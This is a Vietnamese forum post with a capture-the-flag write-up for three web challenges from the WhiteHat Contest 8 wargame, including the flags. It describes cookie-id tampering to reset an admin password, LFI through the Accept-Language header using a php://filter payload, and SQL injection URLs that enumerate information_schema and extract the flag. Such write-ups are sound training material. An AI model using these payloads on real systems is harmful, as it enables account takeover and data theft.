[WhiteHat Contest8] Web100, 200, 300

phieulang1993

W-------
03/02/2015
14
36 bài viết
[WhiteHat Contest8] Web100, 200, 300
Writeup từ bạn Nguyễn Thành Nguyên trong team

Web100:
Bài này thực ra không có source nên mình cũng không rõ nó bị lỗi cụ thể như nào, sửa kiểu nhập vào thành array + view-source thì thấy được flag J

WhiteHat{1151a71dd9ec7dd0053032422ef91cb6e697c4f5}


Web200:
Bài này người code khá bất cẩn ( theo mình đoán ) khi sử dụng câu lệnh update
Câu query có thể tựa tựa như vậy
UPDATE Users
SET password=$pw where id=$cookieid
Lợi dụng điều đó, ta log vào 1 nick bất kì bằng cách sửa cookie id lại. Cụ thể log vào nick boss ( vì boss nhiều tiền mà :3 ) thì sửa cookie id=1, sau đó đổi pass thành 1234, câu query lúc đó sẽ thành
UPDATE Users
SET password=’1234’ where id=1
Log out và đăng nhập nick boss thôi
P.s: [midfinger] to the person who auto change pw of boss for a long time #_#
WhiteHat{8067b95e6ffc7af94aa6adaee42f3e14cd999973}

Web300:
Rất may mắn là mình đã mở challenge bài này trên cả 2 máy, máy ảo và máy thật, và nhận ra có 2 ngôn ngữ khác nhau [en-vi], tìm hiểu 1 tí thì biết vụ này là do trường Accept-Language trong headers, modify nó 1 tí (‘abcxyz’) sẽ xuất hiện Can not load language… => LFI ở đây.
Trường Accept-Language: chỉ tiếp nhận theo form mẫu là en/vi/fr…;[optional range…] , nên để view-source chúng ta không thể load trực tiếp file index.php được
Ở đây mình xài 1 function của php là php wrap:
Cụ thể:
Accept-language: php://filter/read=convert.base64-encode/resource=index.php
Replay lại sẽ thu được 1 đoạn base64 dài, decode ra đó là source của index.php, như vậy đã xong step 1 của challenge này
Tiếp theo view-source, ta thấy rõ rằng phải sqli mới có cơ may quất được flag #_#
Có 1 hàm filter đầu vào, mình sẽ không nói rõ phần này vì hàm filter của php bạn search trên php.net để hiểu nó làm gì nha
Query ở đây mình sử dụng là:
http://lab10.wargame.whitehat.vn/contests/8/web300_82b13c59d42e5c805b73b17b1c523aea/index.php?game[\*.*][' as abc, table_name as description, 'abc' as abc from information_schema.tables -- -]=1
để solve được bài này ta phải list hết table name và column name trong database, vì where đã bị filter nên ta không tìm column trong table cụ thể được.

  • Sử dụng limit từ 0->500(số lớn cho khỏi sót)
http://lab10.wargame.whitehat.vn/contests/8/web300_82b13c59d42e5c805b73b17b1c523aea/index.php?game[\*.*][' as abc, table_name as description, 'abc' as abc from information_schema.tables limit x,1 -- -]=1
=>all table name
http://lab10.wargame.whitehat.vn/contests/8/web300_82b13c59d42e5c805b73b17b1c523aea/index.php?game[\*.*][' as abc, column_name as description, 'abc' as abc from information_schema.columns limit x,1 -- -]=1
=>all column name
Time for brute-force: table flag, column flag!
http://lab10.wargame.whitehat.vn/contests/8/web300_82b13c59d42e5c805b73b17b1c523aea/index.php?game[\*.*][' as abc, flag as description, 'abc' as abc from flag-- -]=1

WhiteHat{ab00c71156920e4d22876b98a5bc0c875dfc3edd}
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên